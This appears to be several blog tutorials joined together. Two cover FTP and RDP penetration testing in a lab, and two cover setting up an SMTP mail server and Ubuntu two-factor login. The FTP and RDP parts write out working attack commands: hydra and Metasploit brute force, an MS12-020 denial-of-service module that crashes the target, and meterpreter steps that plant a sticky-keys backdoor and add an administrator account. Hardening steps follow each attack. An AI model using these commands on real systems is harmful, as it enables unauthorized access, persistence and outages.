Today we are sharing tips and tricks on FTP attacks and security through FTP penetration testing which will help to secure your server from any kind FTP attack.
FTP stands for File Transfer Protocol used for the transfer of computer files such as docs, PDF, multimedia and etc between a client and server on a computer network via port 21. Port 21 is default port which gets open when FTP is activated for sharing data.
Let’s start!!
Install & Configure FTP Server on Windows 7
Firstly we are going to set up the FTP server on our Windows 7 for sharing the file in a LAN. In order to accomplish that we are going to open Control Panel >Programs >Programs and Features >Turn Windows features on or off as shown below.

Here Expand Internet Information Services and check the FTP Server option.
Also, ensure that FTP Extensibility and FTP Service are both checked as shown below and click OK to begin Installation.
This Installs the IIS and FTP Service Manager, be patient it might take some time.

Configure FTP Site in IIS
Now to open IIS, we will open Control Panel after then select System and Security and here we will open Administrative Tools. In Administrative Tools, you will find IIS Manager as shown below, open it.

The new window of Internet information IIS Manager will come up; right-click Sites given in left panel under Connections, select Add FTP Site.
This will open a new window as shown below.

Enter the name of the FTP site of your choice, as shown in given image ignite.
Enter the path to the FTP folder you want to use to send and receive files. In our case, we created a folder named ftp in location C:\ftp.
And click next.


Binding and SSL Settings, we will bind our IPv4 address to the server by allowing following setting then click on next.

• Enter IP:192.168.1.128 and Port: 21.
  
• Enable the checkbox for Start FTP site automatically
  
• In SSL option select No SSL and click next.
  

Allow following setting in Authentication and Authorization for your FTP site and then click on Finish.
Authentication: Basic
Authorization: specific users (pc7)
Permission: read and write

From the given image, you can see we had successfully configured an FTP server for Ignite. Now let’s try to connect with it for sharing files.

Scanning FTP with nmap
An attacker may take help of nmap to verify whether port 21 is activated or not. For FTP penetration, we are also using nmap in order to scan the targeted system (192.168.1.128) for open FTP port.
nmap -p 21 192.168.1.128
1
nmap -p 21 192.168.1.128
If file transfer service is allowed then nmap will show OPEN as a state for port 21, as shown in the given image.

Connect client to FTP Server through WinSCP
WinSCP is a free software which is used to access the FTP server. You can download it from

[To see content please register here]

.

• Protocol to: FTP
  
• Encryption To: No Encryption
  
• Hostname: IP of the FTP Server
  
• Port: 21
  
• Username and Password: Windows login credentials of the user.
  

Click on Login.

As you can see I have successfully connected to my FTP server which has a file called demo.txt.



Version Enumeration on FTP
Now, let’s try to get the FTP version through ftp_version on Metasploit
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to scan for FTP version.
use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set rhosts 192.168.1.128
msf auxiliary(ftp_version) > exploit
1
2
3
use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set rhosts 192.168.1.128
msf auxiliary(ftp_version) > exploit

Hiding Banner
Open IIS Manager.
Click on Features View has given in the bottom of the window.

A new window for FTP messages will come up where you can change Message Behavior.

• Enable suppress default banner
  
• Enable Show detailed messages for local request
  

Now let’s check if our FTP version is still visible or not.

You can verify it by executing following command in Kali Linux for NMAP version scan.
nmap -p 21 -sV 192.168.1.128
1
nmap -p 21 -sV 192.168.1.128
As you can see that our FTP version is no longer visible to anybody.

FTP Brute force Attack
Let’s try to make Brute force attack on our FTP Server using Metasploit.
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to Brute force FTP login.
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.1.128
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
1
2
3
4
5
6
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.1.128
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
From the given image, you can observe that our FTP server is not secure against brute force attack because it is showing the matching combination of username and password for login. So let’s protect our FTP server against Brute force.

Secure FTP server against Brute Force Attack
Open IIS Manager
Now open FTP IPv4 Address and Domain Restrictions. Here we are going to allow only a particular IP address to access the FTP server. This will allow only valid IP to get connect with FTP.

Allow specific IP to connect FTP
Now following given below step:

• Click on FTP IPv4 Address and Domain Restrictions
  
• Click on Add Allow Entry from the Actions Tab in the right panel
  
• Select Specific IP Address and enter the IP address
  
• Click OK
  

Here you can also add a range of IPs of your network.

Restrict IPs to connect FTP
Now repeat the step with some changes to restrict other IPs for denying to access FTP services.
Now following given below step:

• Click on FTP IPv4 Address and Domain Restrictions
  
• Click on Add deny Entry from the Actions Tab in the right panel
  
• Select Specific IP Address and enter the IP address
  
• Click OK
  

Hence if any other user or attacker finds out credential for FTP login he cannot able to connect with the server.

Let’s verify above setting by Brute force again in the same way we did before. From the given image, you can observe though it is showing incorrect combination for correct credentials also.

FTP Port Transfer
You can forward port 21 on another port for increasing server security although to perform this you need to open IIS.

Now click on the Bindings on Actions Tab.
It will open a window as shown below where it is showing that FTP service is activated on port 21, now click on edit to replace this port into another.           

From the given image you can see we have are now using port 5000 for FTP services.

Now let’s check using nmap
nmap -p 5000 -sV 192.168.1.128
1
nmap -p 5000 -sV 192.168.1.128
As you can see the FTP service has been shifted to port 5000

Now to verify if the service is actually running on port 5000 let’s login into FTP server using WinSCP and this time using port 5000 as shown below

Great!!! We are successfully connected with FTP server via port 5000

FTP Log Monitoring 
In IIS Manager we can also manage Logs of our FTP Server. Here, we can Schedule the Logging and also manage the size of logs and Location of Logs For monitoring ftp log follow given below steps:
Open FTP Logging in the Features View.

• The format of the log file: click on the W3C field and then select the desired option such as date, time, client IP and etc.
  
• Directory: browse a location where you want to save the logs
  
• Schedule: Daily
  

Now if you want to view logs of FTP server you can open the directory which you have browsed for saving logs i.e. C:\inerpub\logs\Logsfiles
From given below image you can observe logs for FTP login.


In this article, we are discussing Remote Desktop penetration testing in four scenarios. Through that, we are trying to explain how an attacker can breach security in a different- different scenario and what types of the major step should take by admin while activating RDP services to resist against attack.
Remote Desktop Protocol (RDP) also known as “Terminal Services Client” is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP servers are built into Windows operating systems; by default, the server listens on TCP port 3389.
For more details visit Wikipedia.org
Let’s starts!!!
Suppose admin has allowed remote desktop service in his system for local network connection.

Scanning RDP Port with nmap
An attacker may take help of nmap to verify whether port 3389 is activated or not. For RDP penetration we are also using nmap in order to scan the targeted system (192.168.0.102) for open RDP port.
nmap -p 3389 192.168.0.102
1
nmap -p 3389 192.168.0.102
If remote desktop service is allowed then nmap will show OPEN as a state for port 3389, as shown in the given image.

Brute force attack on RDP
In order to connect with RDP, we always need to login credential as an authenticated connection. A valid user can enter his username and password but an invalid user (attacker) cannot able to guess correct credential for login, therefore, they retrieve credential through brute force attack.
We are using hydra to demonstrate a brute force attack on RDP.
Hydra: It is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.
Open terminal in your Kali Linux and type following command:
hydra -V -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102
1
hydra -V -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102
From given below image you can read the username: ignite and password: 123456 which we have to retrieve through brute force attack on port 3389.
Using this credential attacker can login for Remote Desktop service.

Add Security Policy against brute force
Admin can protect their network from brute force attack using Account lockout policy. Configure following policies under Security setting > Account policies > Account lockout policies
Account Lockout duration: Policy which defines the time period that a locked out account remains locked until become automatically unlock by itself or reset by admin. It will lock the account for a specified time when user will cross the login attempt set by account lockout threshold.
Account lockout threshold: Policy which defines the number of fail logon attempt and will lock the account for some period of time specified by Account lockout duration. It will allow a maximum number of specified attempts for sign-in into your account.
Rest Account lockout counter after Policy which defines the time period that must elapse after a failed logon attempt. The reset time must be less than or equal to the Account lockout duration.

Account Lockout duration: 30 minutes
Account lockout threshold: 2 invalid login attempts
Rest Account lockout counter after 30 minutes
If the number of attempts is greater than the value of the Account lockout threshold, the attacker could potentially lock every account.

Now let’s test Account lockout policy by again making brute force attack on port 3389.
hydra -V -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102
1
hydra -V -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102
When attacker retrieves the username and password, he will surely use them for login but as you can see it took more than 2 attempts to crack the password therefore according to set policies the account should be get locked for 30 minutes.

Let’s assure it by login into remote desktop
Open the terminal and type “rdesktop 192.168.0.102 <target IP>” when you will get target screen, enter username and password which have to retrieve from brute force.
From the given image you can observe that we have entered above-discovered username and password ignite: 12345.

When you (attacker) will submit your credential then it will give you a message that current account has been locked out and cannot be login as shown in the given image.
This will lock the account of the user ignite for 30 minutes and hence admin will come to know that someone has tried brute force attack for unauthorized access.
In this way, we can protect the brute force attack for unauthorized access.

Scan port 3389 for DOS attack
Many times in order to identify whether the host is vulnerable to RDP or not, attacker use exploit MS12-020-check to test its strength.
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to scan for vulnerability.
use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit
1
2
3
4
use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit
From the given image you can, it is showing target is vulnerable, now you can use Google to find its exploit for the attack.

Once attack knows that target port 3389 is vulnerable MS12-020-check then he will surely try to make an attack with Ms12-0200maxchannelids. This will launch a DOS attack on the target system.
Now Type the following command for DOS attack which will crash the system.
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rport 3389
msf auxiliary(ms12_020_maxchannelids) > exploit
1
2
3
4
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rport 3389
msf auxiliary(ms12_020_maxchannelids) > exploit

From given below image you can notice the target is system is shutting down due to some problem.
The criminal executor of DoS attacks often targets sites or services hosted on high-profile web servers such as banks or credit card payment gateways to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet.

Enable RDP in Victims PC (2nd Scenario)
If an attacker has hacked victim system in which RDP service is not enabled then attacker himself can activate this service using post exploitation module built by Rapid 7 inside Metasploit.
Now to perform this we must need a meterpreter session of the target system. From the given image you can notice that have already meterpreter session of the target system.
Here we have meterpreter session 1 through multi handler and session 2 from bypassuac for admin privileges.

Now type the following command for generation post exploitation to enable RDP service.
use post/windows/manage/enable_rdp
msf post(enable_rdp) > set session 2
msf post(enable_rdp) >exploit
1
2
3
use post/windows/manage/enable_rdp
msf post(enable_rdp) > set session 2
msf post(enable_rdp) >exploit

This module makes it possible to apply the ‘sticky keys’ hack to a session with appropriate rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP login screen or via a UAC confirmation dialog.
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 2
msf post(sticky_keys) > exploit
1
2
3
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 2
msf post(sticky_keys) > exploit

Now connect with the remote desktop using the following command:
rdesktop 192.168.0.102
1
rdesktop 192.168.0.102

It will ask to submit the credential for login but we are not aware of it, therefore, we had launched stick key attack above so that we can access victim command prompt by hitting 5 times shift key as shown in the given image.

Another way to enable RDP
When you are holding a meterpreter session of victim’s system type following command which enables RDP service moreover set credential of your own choice.
meterpreter> run getgui -e -u raaz -p 1234
1
meterpreter> run getgui -e -u raaz -p 1234
From the given image you can observe it has edited user raaz with password 1234 into “Remote Desktop Users” and in “Administrators”.  Now you can login with the created user, connect with the remote desktop using the following command:
rdesktop 192.168.0.102
1
rdesktop 192.168.0.102

Enter username: raaz and password: 1234 for login.

Awesome!!! We had successfully login into the remote system.

Port Forwarding (3rd scenario)
You can forward port 3389 on another port for increasing system security although to perform this in your window operating system explore the following location through registry editor.
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
1
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
From the given image you can see in the right panel port number is highlighted, Click on it.

Shift Port from 3389 to specific port number
You will get an edit DWORD window where that you can edit the 32-bit value. By default, it will show d3d which is hexadecimal value for 3389.
Replace 3389 value from another value of your choices such as 3314 and select hexadecimal as a base which will convert 3314 into cf2.

From the given image you can see port 3314 is open now.

Secure RDP through window firewall (4th Scenario)
Open window Firewall with Advance settings then move into its inbound rules and explore Remote Desktop (TCP-In) for domain profile for adding security filter by making some change in firewall setting.

Allow traffic from specific IP
After that, it will open a window for changing its properties, click on the scope. Here you will get two panels for the type of connection establishes local and remote IP address.
In remote IP address choose the 2nd option for specific IP address and enter an IP to which you want to allow for connecting remote desktop services as shown in the given image.
It will stop all traffic coming from another IP and increase the security of your network against any kind of attack.


From Wikipedia
Hello friends! Today we are discussing “configuration of SMTP mail server” for sending mail in your LAN network. 
SMTP stands for simple mail transfer protocol communication between mail servers uses TCP port 25 Mail clients on the other hand; often submit the outgoing emails to a mail server on port 587. For retrieving messages, client applications usually use either IMAP or POP3.
POP3 stands for Post Office Protocol (POP) is an application-layer Internet standard protocol used by local e-mail clients to retrieve e-mail from a remote server over a TCP/IP connection. It uses port 110 for receiving mail
IMAP stands for Internet Message Access Protocol (IMAP) is also an Internet standard protocol used by e-mail clients to retrieve e-mail messages from a mail server over a TCP/IP connection. It uses port 143 for receiving mail
Let’s start!!
Configure static IP in your network for SMTP server as shown below.

Download hmailserver and install it in your system (windows). This installation program will create a hmailServer user with administration rights. Here you need to give the password for admin so that you will be able to manage its installation.

Click on connect which will connect hmailserver to localhost.

Enter admin password to login into hmailserver and click on OK to continue.

You can take help of nmap to ensure whether SMTP with other Services such as IMAP and POP3 has been running successfully on the remote system (192.168.1.104).
nmap 192.168.0.104
1
nmap 192.168.0.104
From given image to you can observe that all three services SMTP POP3 IMAP are running on port 25 110 and 143 respectively.
Also, new port 587 will get open for submission (SMTP outgoing mail).

After login into hmailserver, it will ask to add domain name, therefore, click on ADD domain.

Enter the domain name of your choice such as pentestlab.local and click the checkbox for Enable.
Now at last click on save which will create a domain “pentestlab.local” into hailmail server.

From the given image you can observe pentestlab.local had been created on the left panel. After then click on Account in order to create a new user for your mail server.
Click on ADD

Now follow the given below step to create a user for your own mail server.
Address: username (info)
Password: Give password for the username
Click the checkbox for Enable
Click on save
Repeat the step to create more users for the mail server.

From the given image you can see I had created three users and for mail server at least you should create two accounts, one account for the sender and other for the receiver.

Select all three protocols SMTP, POP3, IMAP as shown in the image.

Click on SMTP given in left panel select Advance option and type your IP “192.168.1.104” to bind your local IP with the mail server.

After than select Advance option in left panel and type you’re your domain name (for example pentestlab.local) as default domain and click on save.

Select Auto-ban under Advance has given in left panel. Uncheck Enable for auto-ban.

Now open host file from given path system32 > drivers > etc > hosts
Edit your IP (192.168.0.104) with domain name (pentestlab.local) as shown in given image.

Now use two different systems in your local network for sending mail through them.
System 1st
Open Microsoft Outlook and select option Add account.
Click the radio button for “Manual setup or additional server type”
Click on Next.

Click the radio button to choose service for IMAP or pop Click on Next.

Enter the information of mail server for setting your account as given below:
User information

• Your name: info
  
• Your email: [email protected] (provide an email id which you have created in hmail server account.)
  

Server information

• Account type: POP3
  
• Incoming mail server: 192.168.0.104
  
• Outgoing mail server: 192.168.0.104
  

Logon information

• Username: [email protected]
  
• Password: ******
  

Click on more setting and choose option outgoing server and enable the following services:

• Use the same setting (SMTP) requires authentication
  
• Use the same setting as my incoming mail server
  

Click on OK

In order to verify server setting for account click on “Test on Account Setting”
From the given image you can observe it is showing green ticks for both tasks with status “completed”. It will show status “fail” if it found any error in the account setting.

System 2nd
Open Microsoft Outlook and select option Add account and repeat above step for mail server account setting.
Note: now you’re having two different accounts on two different systems in the same local network as sender and receiver.

Now we are testing our mail server by sending mail from one system to another with a different account.
Sender: [email protected]
Receiver: [email protected]
Here we are Sending a message from system 1st to 2nd through Microsoft outlook. You can use another method also for account setting and sending mail for example Thunderbird.

Open raj account of 2nd system and verify whether user received any mail from send info or not. Form given image can see we have successfully received mail in raj account.
In this way, you can configure your own mail server for the local network.


Hello friends, today we are going to implement two-factor authentication on ubuntu. Two-factor authentication adds an extra layer of security. We are going to use google authenticator to implement two-factor authentication.
Before we start, once we have set this up, we will not be able to log into the account (or issue sudo commands) without a six-digit code from the authenticator. This also adds another step for us. Remember, however, this added step brings with it an extra layer of security we wouldn’t have otherwise.
First we are going to install google authenticator on our Ubuntu.
sudo apt-get install libpam-google-authenticator
1
sudo apt-get install libpam-google-authenticator

After we install it we are going to configure our authenticator. Open /etc/pam.d/common-auth
sudo gedit /etc/pam.d/common-auth
1
sudo gedit /etc/pam.d/common-auth



Add a line auth required pam_google_authenticator.so

Now install google authenticator on your smartphone.

After configuring the authenticator we are going to setup google-authenticator. Now run command google-authenticator on terminal. When prompted select yes for time-based authentication. In time based authentication OTP will be valid for a particular period of time.

Now it will generate password and a QR-code. You can either create an account manually or simply scan the QR-code on your phone to setup your account.

Once you have created the account on your smartphone it will look something like this.

After creating the account on your smartphone, select yes to update google authenticator on terminal.
After updating it will ask multiple options to select the type of authentication you want. You can customize it according to your need.

Now we restart our system to check if the authenticator is working.

Now when we try to login it asks for verification code that will be available on your smartphone.